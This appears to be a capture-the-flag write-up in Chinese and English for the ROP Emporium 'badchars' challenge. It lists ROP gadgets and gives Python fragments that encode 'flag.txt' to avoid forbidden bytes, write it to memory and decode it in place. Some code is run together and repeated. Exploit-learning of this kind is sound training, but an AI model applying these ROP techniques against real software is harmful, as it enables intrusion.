# ebp : 待解密的参数地址,存储加密后参数的位置 # ebx : low 8 bit -> bl store the key to decrypt the args # edi : the address of encrypted strings in .data section # esi : store the encrypted strings
所以,我们要寻找向这几个寄存器传递值的gadgets,例如pop ebp;ret这种。
1 2 3 4 5 6 7 8 9 10 11 12
$ ROPgadget --binary ./badchars32 --only "pop|ret" Gadgets information ============================================================ 0x080485bb : pop ebp ; ret 0x080485b8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0804839d : pop ebx ; ret 0x080485ba : pop edi ; pop ebp ; ret 0x080485b9 : pop esi ; pop edi ; pop ebp ; ret 0x08048386 : ret 0x0804849e : ret 0xeac1
Unique gadgets found: 7
0x080485b8地址处刚好有对这四个寄存器操作的gadgets,考虑到我们传入的字符中坏字符有4个,而向数据段写入只需要调用两次0x080485b8处的gadget即可,所以我们需要再找单独对ebp寄存器操作的gadget,也就是0x080485bb : pop ebp ; ret
#encrypt the chars badchars = ['a','g','.','x'] defencrypt(strings,key=0x01): encrypted_string = '' for char inlist(strings): if char in badchars: encrypted_string += chr(ord(char)-key) else: encrypted_string += char return encrypted_string
encrypted_strings = encrypt('flag.txt',key=0x01)
# gadgets: # 0x080485b9 : pop esi ; pop edi ; pop ebp ; ret Nope! pop_ebx_esi_edi_ebp_ret = p32(0x080485b8) # pop ebx ; pop esi ; pop edi ; pop ebp ; ret pop_ebp_ret = p32(0x080485bb) # pop ebp ; ret # pop_ebx_ret = p32(0x0804839d) # pop ebx ; ret mov_esi_to_edis_ret = p32(0x0804854f) # mov dword ptr [edi], esi ; ret add_ebps_bl_ret = p32(0x08048543) # add byte ptr [ebp], bl ; ret
# ebp : dai jie mi de canshu address # ebx : low 8 bit -> bl store the key to decrypt the args # edi : the address of encrypted strings in .data section # esi : store the encrypted strings
print_addr = e.plt['print_file'] data_addr = 0x0000000000601028+7#Note!!!! 28+7=2e ,chr(2e)=. is a badchars in payload
offset = 40
#encrypt the chars badchars = ['a','g','.','x'] defencrypt(strings,key=0x01): encrypted_string = '' for char inlist(strings): if char in badchars: encrypted_string += chr(ord(char)-key) else: encrypted_string += char return encrypted_string
encrypted_strings = encrypt('flag.txt',key=0x01) #Gadgets pop_r12_r13_r14_r15_addr = 0x000000000040069c# pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret pop_r14_r15_addr = 0x00000000004006a0# pop r14 ; pop r15 ; ret pop_rdi_addr = 0x00000000004006a3# pop rdi ; ret pop_r15_addr = 0x00000000004006a2# pop r15 ; ret mov_r12_to_r13s_addr = 0x0000000000400634# mov qword ptr [r13], r12 ; ret add_r14b_r15s_addr = 0x000000000040062c# add byte ptr [r15], r14b ; ret
# r15 : dai jie mi de canshu address # r14 : low 8 bit -> bl store the key to decrypt the args # r13 : the address of encrypted strings in .data section # r12 : store the encrypted strings